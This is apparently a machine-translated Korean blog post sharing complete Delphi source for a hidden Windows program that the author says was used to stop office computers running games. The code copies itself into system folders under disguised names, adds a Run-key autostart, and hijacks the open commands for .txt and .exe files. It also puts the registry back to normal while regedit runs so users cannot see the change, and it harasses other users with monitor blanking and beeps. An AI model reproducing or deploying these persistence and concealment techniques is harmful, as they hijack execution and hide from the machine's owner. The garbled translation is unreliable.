DELPHI는 지정된 프로세스를 닫고 스스로 살인을 방지합니다.

30333 단어 Delphi
우연히 오래전 DELPHI로 작성된 작은 프로그램으로 넘어가면 백엔드에서 조건에 맞는 프로세스를 묵묵히 닫고 자신을 숨길 수 있습니다.컴파일러의 목적은 사무용 컴퓨터가 게임을 실행하는 것을 방지하기 위해서이다.
실현 원리는 다음과 같다.
1. 프로그램이 실행된 후에 자신을 다른 이름으로 시스템의 각 디렉터리에 세 부 저장하고 그 중 하나의COPY를 등록표에 써서 켜서 시작합니다. 그리고 등록표에서txt파일과exe파일의 열기 방식을 수정하여 각각 다른 두 개의COPY를 가리키며 모니터링 목적을 달성합니다.
2. 프로그램이 활성화되면 먼저 각 COPY의 존재 여부와 등록표의 연결이 정상적인지 확인한 다음에 시스템이 금지 명단에 있는 프로세스를 실행하는지 확인한 다음에 발견하면 죽인다.
3. 만약에 프로그램이 사용자가regedit를 실행하는 것을 감시하면 등록표를 정상값으로 바꾸고regedit가 종료된 후에 다시 수정하여 사용자가 발견하지 못하도록 한다.(이것은 백신 소프트웨어가 아직 낙후된 시대에 효과가 상당히 좋다)
4. 프로그램은 마운트 해제 기능을 보존하고 코드에 쓰여 있다.
자신이 매우 재미있다고 느끼니 코드를 보내서 기념으로 남겨라.
 
  1 //                  

  2 program HK;

  3 

  4 uses

  5   Windows,

  6   Messages,

  7   SysUtils,

  8   System,

  9   Classes,

 10   Registry,

 11   Forms,

 12   Controls,

 13   LoadDLL in 'LoadDLL.pas';

 14   

 15 var

 16   I:Integer;

 17   SPath,WPath:PCHAR;

 18   pa:string;

 19   hnd: THandle;

 20   sp:boolean;

 21   sFileName:String;

 22 

 23 

 24 //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;

 25 

 26 //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';

 27 

 28 procedure procRun(exeName,exePath:PChar;trace:boolean);

 29 var

 30   SUInfo: TStartupInfo;

 31   ProcInfo: TProcessInformation;

 32 begin

 33 FillChar(SUInfo, SizeOf(SUInfo), #0);

 34 with SUInfo do

 35   begin

 36     cb := SizeOf(SUInfo);

 37     dwFlags := STARTF_USESHOWWINDOW;

 38     wShowWindow :=1;

 39   end;

 40 if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then

 41   begin

 42     if trace then

 43       WaitForSingleObject(ProcInfo.hProcess, INFINITE);

 44     CloseHandle(ProcInfo.hProcess);

 45     CloseHandle(ProcInfo.hThread);

 46   end;

 47 end;

 48 

 49 procedure procSetReg(rest:boolean);

 50 var

 51    Reg:TRegistry;

 52 begin

 53    Reg:=Tregistry.Create;

 54    try

 55    if rest then

 56    begin

 57      reg.rootkey:=HKEY_CLASSES_ROOT;

 58      if reg.OpenKey('\txtfile\shell\open\command',true) then

 59         reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');

 60      reg.closekey;

 61      if reg.OpenKey('\exefile\shell\open\command',true) then

 62         reg.WriteExpandString('','"%1" %*');

 63      reg.closekey;

 64      reg.RootKey:=HKEY_LOCAL_MACHINE;

 65      if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then

 66         reg.DeleteValue('SysOleRun');

 67       reg.closekey;

 68    end

 69    else

 70    begin

 71       reg.RootKey:=HKEY_LOCAL_MACHINE;

 72       if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then

 73           reg.writestring('SysOleRun',spath+'\ObjDDC.exe');

 74       Reg.CloseKey;

 75       reg.rootkey:=HKEY_CLASSES_ROOT;

 76       if reg.OpenKey('\txtfile\shell\open\command',true) then

 77           reg.WriteExpandString('',spath+'\WinODBC.exe %1');

 78       reg.closekey;

 79       if reg.OpenKey('\exefile\shell\open\command',true) then

 80           reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');

 81       reg.closekey;

 82    end;

 83   finally

 84     Reg.Free;

 85   end;

 86 end;

 87 

 88 procedure BeepEx(feq:word=1200;delay:word=1);

 89 

 90   procedure BeepOff;

 91    begin

 92      asm

 93        in al,$61;

 94        and al,$fc;

 95        out $61,al;

 96      end;

 97   end;

 98 const

 99   scale=1193180;

100 var

101   temp:word;

102 begin

103   temp:=scale div feq;

104   asm

105     in al,61h;

106     or al,3;

107     out 61h,al;

108     mov al,$b6;

109     out 43h,al;

110     mov ax,temp;

111     out 42h,al;

112     mov al,ah;

113     out 42h,al;

114   end;

115   sleep(delay);

116   beepoff;

117 end;

118 

119 procedure UserPass();

120 var

121    a,b:integer;

122    t:longword;

123    UserName:PCHAR;

124 begin

125    if sp then

126       begin

127        t:=255;

128       GetMem(UserName,255);

129       try

130         getusername(UserName,t);

131         if UserName<>'lykyl' then

132           begin

133              messagebox(0,'    ,    !','',MB_OK);

134              for a:=1 to 1 do

135               begin

136               SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

137                for b:=1 to 2 do

138                  begin

139                       BeepEx(1500,200);

140                       beepex(3000,200);

141                  end;

142                SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

143                messagebox(0,'        ','',MB_OK);

144               end;

145           end;

146         finally

147           freemem(UserName);

148         end;

149       end;

150 end;

151   {$R *.RES}

152 

153 begin

154    hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');

155    if GetLastError = ERROR_ALREADY_EXISTS then

156       sp:=false

157    else

158       sp:=true;

159   //RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);

160   GetMem(SPath,255);

161   GetMem(WPath,255);

162   GetSystemDirectory(SPath,255);

163   GetWindowsDirectory(WPath,255);

164   SetLength(sFileName,255);

165   GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);

166   sFileName:=Pchar(sFileName);

167   try

168     if ExtractFileName(sFileName)='lykyl.exe' then

169        procSetReg(true)

170     else

171     begin

172     Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);

173     Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);

174     Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);

175     procSetReg(false);

176     for i:=1 to ParamCount do

177         if i=1 then

178            pa:=ParamStr(i)

179         else

180            pa:=pa+' '+ParamStr(i);

181     if Pa <>'' then

182       begin

183           if ExtractFileName(sFileName)='WINODBC.EXE' then

184             begin

185               UserPass();

186               procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);

187             end

188           else

189               if ExtractFileName(sFileName)='OLEDEVICE.EXE' then

190                begin

191                   UserPass();

192                   if AnsiStrPos(pchar(pa),'regedit')<>nil then

193                      begin

194                           procSetReg(true);

195                           procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);

196                           procSetReg(false);

197                      end

198                   else

199                      begin

200                          procRun(PChar(pa),pchar(extractfilepath(pa)),false);

201                      end;

202                end;

203       end;

204       end;

205   finally

206     freemem(SPath);

207     freemem(WPath);

208     if hnd <> 0 then CloseHandle(hnd);

209 //    RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);

210   end;

211 end.

좋은 웹페이지 즐겨찾기